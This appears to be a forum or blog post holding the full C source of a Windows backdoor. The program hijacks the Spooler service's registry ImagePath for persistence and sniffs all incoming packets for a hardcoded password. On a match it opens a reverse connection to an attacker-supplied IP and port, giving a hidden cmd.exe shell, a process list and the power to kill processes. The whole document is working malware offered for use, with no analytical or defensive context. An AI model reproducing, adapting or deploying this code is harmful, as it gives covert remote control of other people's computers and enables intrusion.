简单的无驱动嗅探启动后门

Codz CODE: //////////////////////////////////////////////////////////////////////////////// //FileName:SimpleBackDoor //Author:云舒() //Date:2005-11-5 //Modify:2005-11-15 //Modify:2006-1-1 //////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winsock2.h> #include <mstcpip.h> #include <tlhelp32.h> /////////////////////////////////////////////////////////////////////////////// //宏定义 /////////////////////////////////////////////////////////////////////////////// #define BUFFER_SIZE 1024 * 10 #define SERVICE_NAME "SimpleBackdoor" #define SERVICE_DESCRIPTION "Just a simple backdoor" #define SERVICE_DISPLAY_NAME "SimpleBackdoor" #define PASSWORD "WhereAreYou,Icy" //后门密码 #define REPLACE_SERVICE_NAME "Spooler" //要替换的服务 #define FLAG "Icy\>" //shell的标识符 //#define DEBUG #ifdef DEBUG #define DEBUG_LOG "c:\debug.txt" #endif /////////////////////////////////////////////////////////////////////////////// //全局变量 /////////////////////////////////////////////////////////////////////////////// typedef struct ip_hdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度（字节） unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IP_HEADER; typedef struct tcp_hdr //定义TCP首部 { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度/6位保留字 unsigned char th_flag; //6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量 }TCP_HEADER; typedef struct shell_argument //传递到shell的参数结构 { char ip[16]; //反连的ip地址 char port[5]; //反连的端口 }SHELL_ARGUMENT; BOOL isRunning; //服务是否在运行 SERVICE_STATUS serviceStatus; SERVICE_STATUS_HANDLE hServiceStatus; /////////////////////////////////////////////////////////////////////////////// //函数原形 /////////////////////////////////////////////////////////////////////////////// BOOL ServiceInstall( char * ); //安装服务 BOOL ServiceUnstall( char * ); //删除服务 void ServiceControl( DWORD ); //控制服务 void ServiceMain( DWORD, char **); //服务入口 int StartDoor( LPVOID ); //启动后门 BOOL StartWith( char *, char * ); //判断第一个字符串是否以第二个开头 void LogToFile( char * ); //日志记录 void Help( char * ); //帮助 int Sniffer( void ); //嗅探 int DecodeTCP( char * ); //解包 int StartShell( SOCKET ); //执行shell int ListProcess( SOCKET ); //列举进程 int KillProcess( SOCKET, char * ); //杀进程 /////////////////////////////////////////////////////////////////////////////// //程序入口，主函数 /////////////////////////////////////////////////////////////////////////////// int main( int argc, char *argv[] ) { char filePath[MAX_PATH] = { 0 }; //程序本身路径 SERVICE_TABLE_ENTRY serviceTable[2]; serviceTable[0].lpServiceName = SERVICE_NAME; serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain; serviceTable[1].lpServiceName = NULL; serviceTable[1].lpServiceProc = NULL; GetModuleFileName( NULL, filePath, MAX_PATH ); #ifdef DEBUG LogToFile( "Call main\n" ); #endif if( argc == 2 && (!stricmp( argv[1], "-install" )) ) { if( ServiceInstall( filePath ) != TRUE ) { printf( "Install service error\n" ); return -1; } printf( "Install service successful\n" ); } else if( argc == 2 && (!stricmp( argv[1], "-unstall" )) ) { if( ServiceUnstall( SERVICE_NAME ) != TRUE ) { printf( "Delete service error\n" ); return -1; } printf( "Delete service successful\n" ); } else { Help( argv[0] ); if( !StartServiceCtrlDispatcher( serviceTable ) ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "Main StartServiceCtrlDispatcher error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return -1; } } return 0; } /////////////////////////////////////////////////////////////////////////////// //安装服务函数 /////////////////////////////////////////////////////////////////////////////// BOOL ServiceInstall( char * exeFilePath ) { char tmpPath[MAX_PATH] = { 0 }; HKEY key; #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "Install: Path is : %s\n", exeFilePath ); LogToFile( tmp ); #endif /*这是安装成新服务，注释掉 SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE ); if ( serviceMangerHandle == 0 ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "Install: Open services manager database error: %d\n", GetLastError() ); LogToFile( tmp ); #endif printf( "Install: Open services manager database error: %d\n", GetLastError() ); return FALSE; } #ifdef DEBUG LogToFile( "Install: open services manager database successful\n" ); #endif SC_HANDLE serviceHandle = CreateService ( serviceMangerHandle , SERVICE_NAME , SERVICE_DISPLAY_NAME , SERVICE_ALL_ACCESS , SERVICE_WIN32_OWN_PROCESS , SERVICE_AUTO_START , SERVICE_ERROR_NORMAL , exeFilePath , NULL , NULL , NULL , NULL , NULL ); if ( serviceHandle == 0 ) { printf( "Create service error: %d\n", GetLastError() ); CloseServiceHandle( serviceMangerHandle ); return FALSE; } #ifdef DEBUG LogToFile( "Install: create services successful\n" ); #endif strcpy( tmpPath, "SYSTEM\CurrentControlSet\Services\" ); strcat( tmpPath, SERVICE_NAME ); if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "Install: Open key %s error: %d\n", tmpPath, GetLastError() ); LogToFile( tmp ); #endif printf( "Open key %s error: %d\n", tmpPath, GetLastError() ); return FALSE; } #ifdef DEBUG LogToFile( "Install: open regedit successful\n" ); #endif RegSetValueEx( key, "Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, strlen(SERVICE_DESCRIPTION) ); #ifdef DEBUG LogToFile( "Install: write regedit successful\n" ); #endif RegCloseKey(key); CloseServiceHandle( serviceHandle ); CloseServiceHandle( serviceMangerHandle ); return TRUE; */ //替换系统服务Spooler的执行路径，改为后门程序 strcpy( tmpPath, "SYSTEM\CurrentControlSet\Services\" ); strcat( tmpPath, REPLACE_SERVICE_NAME ); if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "Install: Open key %s error: %d\n", tmpPath, GetLastError() ); LogToFile( tmp ); #endif printf( "Open key %s error: %d\n", tmpPath, GetLastError() ); return FALSE; } #ifdef DEBUG LogToFile( "Install: open regedit successful\n" ); #endif if( RegSetValueEx( key, "ImagePath", 0, REG_EXPAND_SZ, (BYTE *)exeFilePath, strlen(exeFilePath) ) != ERROR_SUCCESS ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "Install: Set key %s error: %d\n", tmpPath, GetLastError() ); LogToFile( tmp ); #endif printf( "Set key %s error: %d\n", tmpPath, GetLastError() ); return FALSE; } #ifdef DEBUG LogToFile( "Install: write regedit successful\n" ); #endif RegCloseKey(key); return TRUE; } /////////////////////////////////////////////////////////////////////////////// //删除服务函数 /////////////////////////////////////////////////////////////////////////////// BOOL ServiceUnstall( char * serviceName ) { /*删除新服务，现在替换服务不用这样删除 SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS); if ( scmHandle == NULL ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "ServiceUntall: open services database error while delete service: %d\n", GetLastError() ); LogToFile( tmp ); #endif return FALSE; } SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS ); if( scHandle == NULL ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "ServiceUntall: open services database error while delete service: %d\n", GetLastError() ); LogToFile( tmp ); #endif CloseServiceHandle( scmHandle ); return FALSE; } DeleteService( scHandle ); CloseServiceHandle( scHandle ); CloseServiceHandle( scmHandle ); return TRUE; */ char tmpPath[MAX_PATH] = { 0 }; HKEY key; char *oldFilePath = "%systemroot%\system32\spoolsv.exe"; strcpy( tmpPath, "SYSTEM\CurrentControlSet\Services\" ); strcat( tmpPath, REPLACE_SERVICE_NAME ); if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "Install: Open key %s error: %d\n", tmpPath, GetLastError() ); LogToFile( tmp ); #endif printf( "Open key %s error: %d\n", tmpPath, GetLastError() ); return FALSE; } #ifdef DEBUG LogToFile( "Install: open regedit successful\n" ); #endif if( RegSetValueEx( key, "ImagePath", 0, REG_EXPAND_SZ, (BYTE *)oldFilePath, strlen(oldFilePath) ) != ERROR_SUCCESS ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "Unstall: Set key %s value error: %d\n", REPLACE_SERVICE_NAME, GetLastError() ); LogToFile( tmp ); #endif return FALSE; } #ifdef DEBUG LogToFile( "Unstall: write regedit successful\n" ); #endif RegCloseKey(key); return TRUE; } /////////////////////////////////////////////////////////////////////////////// //服务函数主体，启动嗅探模块 /////////////////////////////////////////////////////////////////////////////// void ServiceMain( DWORD argc, char *argv[] ) { serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;//here serviceStatus.dwCurrentState = SERVICE_START_PENDING; serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; serviceStatus.dwWin32ExitCode = 0; serviceStatus.dwServiceSpecificExitCode = 0; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; #ifdef DEBUG LogToFile( "ServiceMain: Try to register service\n" ); #endif hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl ); if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "ServiceMain: Register service error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return; } serviceStatus.dwCurrentState = SERVICE_RUNNING; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; #ifdef DEBUG LogToFile( "ServiceMain: Try to start service\n" ); #endif if( !SetServiceStatus( hServiceStatus, &serviceStatus ) ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "ServiceMain: Start service error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return; } isRunning = TRUE; #ifdef DEBUG LogToFile( "ServiceMain: Service is running now\n" ); #endif while( TRUE ) { if( !isRunning ) { break; } #ifdef DEBUG LogToFile( "ServiceMain: Start sniffer now\n" ); #endif Sniffer( ); } serviceStatus.dwCurrentState = SERVICE_STOPPED; if( !SetServiceStatus( hServiceStatus, &serviceStatus) ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "ServiceMain: Stop service error: %d\n", GetLastError() ); LogToFile( tmp ); #endif } return; } /////////////////////////////////////////////////////////////////////////////// //服务控制函数 /////////////////////////////////////////////////////////////////////////////// void ServiceControl( DWORD request ) { #ifdef DEBUG LogToFile( "ServiceControl: Into ServiceControl\n" ); #endif switch ( request ) { case SERVICE_CONTROL_PAUSE: serviceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: serviceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: #ifdef DEBUG LogToFile( "ServiceControl: Try to stop service\n" ); #endif serviceStatus.dwWin32ExitCode = 0; serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; isRunning = FALSE; if( !SetServiceStatus( hServiceStatus, &serviceStatus) ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "ServiceMain: Stop service error: %d\n", GetLastError() ); LogToFile( tmp ); #endif } return; case SERVICE_CONTROL_INTERROGATE: break; default: #ifdef DEBUG LogToFile( "ServiceControl: Error arguments\n" ); #endif break; } if( !SetServiceStatus( hServiceStatus, &serviceStatus ) ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "ServiceMain: Stop service error: %d\n", GetLastError() ); LogToFile( tmp ); #endif } return; } /////////////////////////////////////////////////////////////////////////////// //记录日志函数 /////////////////////////////////////////////////////////////////////////////// #ifdef DEBUG void LogToFile( char *str ) { FILE *fp; fp = fopen( DEBUG_LOG, "a" ); fputs( str, fp ); fclose( fp ); } #endif /////////////////////////////////////////////////////////////////////////////// //输出帮助函数 /////////////////////////////////////////////////////////////////////////////// void Help( char *prog ) { printf( "\n===================Code by 云舒(ph4nt0m.org)===================\n" ); printf( "%s\t<-install>|<-unstall>\n", prog ); printf( "after install,please restart the service which name is Spooler\n" ); } /////////////////////////////////////////////////////////////////////////////// //嗅探模块，抓取数据包 /////////////////////////////////////////////////////////////////////////////// int Sniffer( void ) { WSADATA wsaData; char FAR hostName[128] = { 0 };//存放主机名 struct hostent *phe;//存放IP地址结构 char myIP[16] = { 0 }; SOCKET sock; char recvBuffer[BUFFER_SIZE] = { 0 };//缓冲区存放捕获的数据 SOCKADDR_IN sniff; if( WSAStartup(MAKEWORD(2,2), &wsaData) != 0 ) { #ifdef DEBUG char tmp[512] = { 0 }; sprintf( tmp, "Sniffer: WSAStartup error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return -1; } gethostname( hostName ,128 );//获取本机主机名 phe = gethostbyname( hostName );//获取本机ip地址结构 if( phe == NULL ) { #ifdef DEBUG char tmp[512] = { 0 }; sprintf( tmp, "Sniffer: GetHostName error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return -1; } struct in_addr addr; int ipIndex; for( ipIndex = 0 ; phe->h_addr_list[ipIndex] ; ipIndex++ ) { memcpy(&addr , phe->h_addr_list[ipIndex] , 4); //优先绑定不是内网的ip地址 if( (strncmp(inet_ntoa(addr) , "10." , 3) != 0) && (strncmp(inet_ntoa(addr) , "192.168." , 8) != 0) && (strncmp(inet_ntoa(addr) , "172." , 4) != 0) ) { strcpy( myIP , inet_ntoa(addr) ); break; } } //否则绑定第一个IP地址 if( strlen(myIP) == 0 ) { memcpy(&addr , phe->h_addr_list[0] , 4); strcpy( myIP , inet_ntoa(addr) ); } #ifdef DEBUG LogToFile( "Sniffer: Local IP is " ); LogToFile( myIP ); LogToFile( "\n" ); #endif //建立socket监听数据包 sock = socket( AF_INET, SOCK_RAW, IPPROTO_IP ); #ifdef DEBUG LogToFile( "Sniffer: Sniffer socket is ok now...\n" ); #endif sniff.sin_family = AF_INET; sniff.sin_port = htons(0); sniff.sin_addr.s_addr = inet_addr( myIP ); //绑定到本地随机端口 bind(sock,(PSOCKADDR)&sniff,sizeof(sniff)); #ifdef DEBUG LogToFile( "Sniffer: Sniffer bind is ok now...\n" ); #endif //设置SOCK_RAW为SIO_RCVALL，以便接收所有的IP包 DWORD dwBufferLen[10] = { 0 }; DWORD dwBufferInLen = 1; DWORD dwBytesReturned = 0 ; WSAIoctl(sock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned,NULL,NULL); #ifdef DEBUG LogToFile( "Sniffer: Begain to recv...\n" ); #endif int bytesRecived = 0; while(TRUE) { //如果服务停止，跳出 if( !isRunning ) { break; } memset( recvBuffer, 0, BUFFER_SIZE ); //开始捕获数据包 bytesRecived = recv( sock, recvBuffer, sizeof(recvBuffer), 0 ); if( bytesRecived <= 0 ) { #ifdef DEBUG LogToFile( "Sniffer: recv nothing,break...\n" ); #endif break; } else { #ifdef DEBUG LogToFile( "Sniffer: recv ok,decode it...\n" ); #endif DecodeTCP( recvBuffer ); } } closesocket( sock ); WSACleanup( ); return 1; } /////////////////////////////////////////////////////////////////////////////// //分析数据包，启动后门 /////////////////////////////////////////////////////////////////////////////// int DecodeTCP( char *buffer ) { IP_HEADER *ipHeader;//IP_HEADER型指针 TCP_HEADER *tcpHeader;//TCP_HEADER型指针 struct in_addr inAddr; char ourData[BUFFER_SIZE] = { 0 }; char *flag1 = NULL; char *flag2 = NULL; char password[64] = { 0 }; SHELL_ARGUMENT shellArgument; HANDLE threadHandle = NULL; DWORD threadID = 1; ipHeader = (IP_HEADER *)buffer; //是否TCP协议 if( ipHeader->proto != 6 ) { return -1; } tcpHeader = (TCP_HEADER *)( buffer+sizeof(IP_HEADER) ); //是否有数据 if( buffer+sizeof(IP_HEADER)+sizeof(TCP_HEADER) == NULL ) { return -1; } strncpy( ourData, buffer+sizeof(IP_HEADER) + sizeof(TCP_HEADER), BUFFER_SIZE - 2 ); flag1 = strchr( ourData, '|' ); flag2 = strchr( ourData, ':' ); //flag2-flag1为反向连接ip的长度,flag1 - ourData为密码长度 if( flag1 == NULL || flag2 == NULL || (flag2 - flag1) > sizeof(shellArgument.ip) || (flag1 - ourData) > (sizeof(password)-1) ) { return -1; } #ifdef DEBUG LogToFile( "DecodeTCP: Have data...\n" ); LogToFile( "DecodeTCP: " ); LogToFile( ourData ); LogToFile( "\n\n" ); #endif ZeroMemory( shellArgument.ip, sizeof(shellArgument.ip) ); ZeroMemory( shellArgument.port, sizeof(shellArgument.port) ); //获取密码 strncpy( password, ourData, flag1 - ourData ); //获取反连IP strncpy( shellArgument.ip, flag1 + sizeof('|'), flag2-(flag1 + sizeof('|')) ); //获取端口 strncpy( shellArgument.port, flag2 + sizeof(':'), sizeof(shellArgument.port) - 1 ); //去掉port后面的回车字符 if( strchr( shellArgument.port, '\n' ) != NULL ) { *strchr( shellArgument.port, '\n' ) = ''; } #ifdef DEBUG LogToFile( "DecodeTCP: password is " ); LogToFile( password ); LogToFile( "\nDecodeTCP: Remote ip is " ); LogToFile( shellArgument.ip ); LogToFile( "\nDecodeTCP: Remote port is " ); LogToFile( shellArgument.port ); LogToFile( "\n" ); #endif if( strcmp( PASSWORD, password ) == 0 ) { #ifdef DEBUG LogToFile( "DecodeTCP: password is right\n" ); #endif threadHandle = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)StartDoor, &shellArgument, 0, &threadID ); Sleep( 500 ); if( threadHandle == NULL ) { #ifdef DEBUG char tmp[512] = { 0 }; sprintf( tmp, "DecodeTCP: Create thread to make shell error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return -1; } #ifdef DEBUG LogToFile( "DecodeTCP: Create thread to make shell successful\n" ); #endif threadID ++; if( threadID > 20000 ) { threadID = 1; } CloseHandle( threadHandle ); return 1; } else { #ifdef DEBUG LogToFile( "DecodeTCP: password is wrong\n" ); #endif return -1; } } /////////////////////////////////////////////////////////////////////////////// //后门模块 /////////////////////////////////////////////////////////////////////////////// int StartDoor( LPVOID argument ) { SOCKET sock; SOCKADDR_IN sin; int ret; WSADATA wsaData; SHELL_ARGUMENT *shellArgument = (SHELL_ARGUMENT *)argument; #ifdef DEBUG LogToFile( "StartDoor: I'm in door now\n" ); #endif sock = socket( AF_INET, SOCK_STREAM, 0 ); if ( sock == INVALID_SOCKET ) { #ifdef DEBUG char tmp[512] = { 0 }; sprintf( tmp, "StartDoor: Create socket error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return -1; } memset( &sin, 0, sizeof(sin) ); sin.sin_family = AF_INET; sin.sin_port = htons( atoi(shellArgument->port) ); sin.sin_addr.s_addr = inet_addr( shellArgument->ip ); ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) ); if( ret == SOCKET_ERROR ) { #ifdef DEBUG char tmp[512] = { 0 }; sprintf( tmp, "StartDoor: Connect error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return -1; } char cmd[256] = { 0 }; //客户端输入的命令 while( TRUE ) { //如果服务停止，跳出 if( !isRunning ) { break; } ZeroMemory( cmd, sizeof(cmd) ); //发送命令提示符Icy\> strcpy( cmd, FLAG ); send( sock, cmd, strlen(cmd), 0 ); //接受客户端输入的命令 ZeroMemory( cmd, sizeof(cmd) ); recv( sock, cmd, sizeof(cmd)-1, 0 ); //退出命令 if( StartWith( cmd, "exit\n" ) ) { send( sock, "ByeBye...\n", strlen("ByeBye...\n"), 0 ); break; } //客户端要求执行shell if( StartWith( cmd, "shell" ) ) { StartShell( sock ); } //列举进程 if( StartWith( cmd, "pslist" ) ) { ListProcess( sock ); } //杀进程,cmd + sizeof("kill ")-1即为进程ID if( StartWith( cmd, "kill" ) ) { char pID[7] = { 0 }; strncpy( pID, cmd + sizeof("kill ") - 1, 6 ); *( strchr( pID, '\n' ) ) = ''; KillProcess( sock, pID ); } } closesocket( sock ); return 0; } //执行shell int StartShell( SOCKET sock ) { SECURITY_ATTRIBUTES sa; sa.nLength = sizeof( sa ); sa.lpSecurityDescriptor = 0; sa.bInheritHandle = TRUE; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; int ret; //建立管道 ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 ); ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 ); STARTUPINFO si; ZeroMemory( &si, sizeof(si) ); GetStartupInfo( &si ); //新进程输入输出重定向 si.cb = sizeof( si ); si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; PROCESS_INFORMATION processInfo; char cmdLine[] = "cmd.exe"; //建立进程 ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) ); ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo); char buff[BUFFER_SIZE] = { 0 }; unsigned long bytesRead = 0; int i = 0; while( TRUE ) { if( !isRunning ) break; memset( buff, 0, BUFFER_SIZE ); ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 ); //防止超时，循环读取 for(i = 0; i < 5 && bytesRead == 0; i++) { Sleep(100); ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL ); } if( bytesRead ) { ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 ); if( !ret ) break; ret = send( sock, buff, bytesRead, 0 ); if( ret <= 0 ) break; } else { bytesRead = recv( sock, buff, BUFFER_SIZE, 0 ); if( bytesRead <= 0 ) break; if( StartWith( buff , "exit" ) == TRUE ) break; ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 ); if( !ret ) break; } } //杀死cmd进程并关闭管道 TerminateProcess( processInfo.hProcess, 0 ); CloseHandle( hReadPipe1 ); CloseHandle( hReadPipe2 ); CloseHandle( hWritePipe1 ); CloseHandle( hWritePipe2 ); return 0; } //列举进程 int ListProcess( SOCKET sock ) { HANDLE hProcessSnap = NULL; HANDLE hProcess = NULL; PROCESSENTRY32 pe32; char psBuff[BUFFER_SIZE] = { 0 }; hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hProcessSnap == INVALID_HANDLE_VALUE ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "Call CreateToolhelp32Snapshot error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return -1; } pe32.dwSize = sizeof( PROCESSENTRY32 ); if( !Process32First( hProcessSnap, &pe32 ) ) { #ifdef DEBUG char tmp[256] = { 0 }; sprintf( tmp, "Call Process32First error: %d\n", GetLastError() ); LogToFile( tmp ); #endif CloseHandle( hProcessSnap ); return -1; } send( sock, "PID\t\tProcessName\n", strlen("PID\t\tProcessName\n"), 0 ); do { ZeroMemory( psBuff , sizeof(psBuff) ); sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile ); send( sock, psBuff, strlen(psBuff), 0 ); } while( Process32Next( hProcessSnap, &pe32 ) ); return 0; } //杀进程 int KillProcess( SOCKET sock, char *pID ) { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) ) { send( sock, "Open Process Token Failed\n", strlen("Open Process Token Failed\n"), 0 ); return -1; } if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ) { send( sock, "Set Privileg Failed\n", strlen("Set Privileg Failed\n"), 0 ); CloseHandle( hToken ); return -1; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL ); CloseHandle( hToken ); HANDLE hProcess = NULL; send( sock, "try to kill ", strlen("try to kill "), 0 ); send( sock, pID, strlen(pID), 0 ); send( sock, "\n", strlen("\n"), 0 ); hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , atoi(pID) ); if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL ) { char err[56] = { 0 }; sprintf( err, "Open Process Failed: %d\n", GetLastError() ); send( sock, err, strlen(err), 0 ); return -1; } if ( !TerminateProcess( hProcess, (DWORD) -1 ) ) { send( sock, "Terminate Process Failed\n", strlen("Terminate Process Failed\n"), 0 ); CloseHandle( hProcess ); return -1; } send( sock, "process killed\n", strlen("process killed\n"), 0 ); CloseHandle( hProcess ); return 1; } //判断buf1是否以buf2开头 BOOL StartWith( char *buf1, char *buf2 ) { int len = strlen(buf2); if( memcmp( buf1,buf2,len ) == 0 ) { return TRUE; } return FALSE; }